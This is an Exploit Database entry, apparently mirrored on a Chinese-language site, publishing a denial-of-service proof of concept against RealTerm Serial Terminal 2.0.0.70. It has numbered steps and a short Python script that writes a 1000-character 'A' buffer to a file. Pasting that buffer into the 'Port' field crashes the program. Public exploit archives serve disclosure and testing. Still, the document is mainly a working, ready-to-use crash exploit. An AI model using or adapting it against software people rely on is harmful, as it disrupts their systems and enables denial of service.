Realterm Serial Terminal 2.0.0.70 – Denial of Service

• Exploit Database
• 40 阅读

• 作者： Alejandra Sánchez
  日期： 2019-02-18
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46390/

• # -*- coding: utf-8 -*-
  # Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Port' Denial of Service (PoC)
  # Date: 15/02/2019
  # Author: Alejandra Sánchez
  # Vendor Homepage: https://realterm.sourceforge.io/
  # Software Link: https://sourceforge.net/projects/realterm/files/ 
  # Version: 2.0.0.70
  # Tested on: Windows 10
  
  # Proof of Concept:
  # 1.- Run the python script "RealTerm.py", it will create a new file "PoC.txt"
  # 2.- Copy the content of the new file 'PoC.txt' to clipboard
  # 3.- Open realterm.exe 
  # 4.- Go to 'Port' tab
  # 5.- Paste clipboard in 'Port' field
  # 6.- Click on button -> open
  # 7.- Crashed
  
  buffer = "\x41" * 1000
  f = open ("PoC.txt", "w")
  f.write(buffer)
  f.close()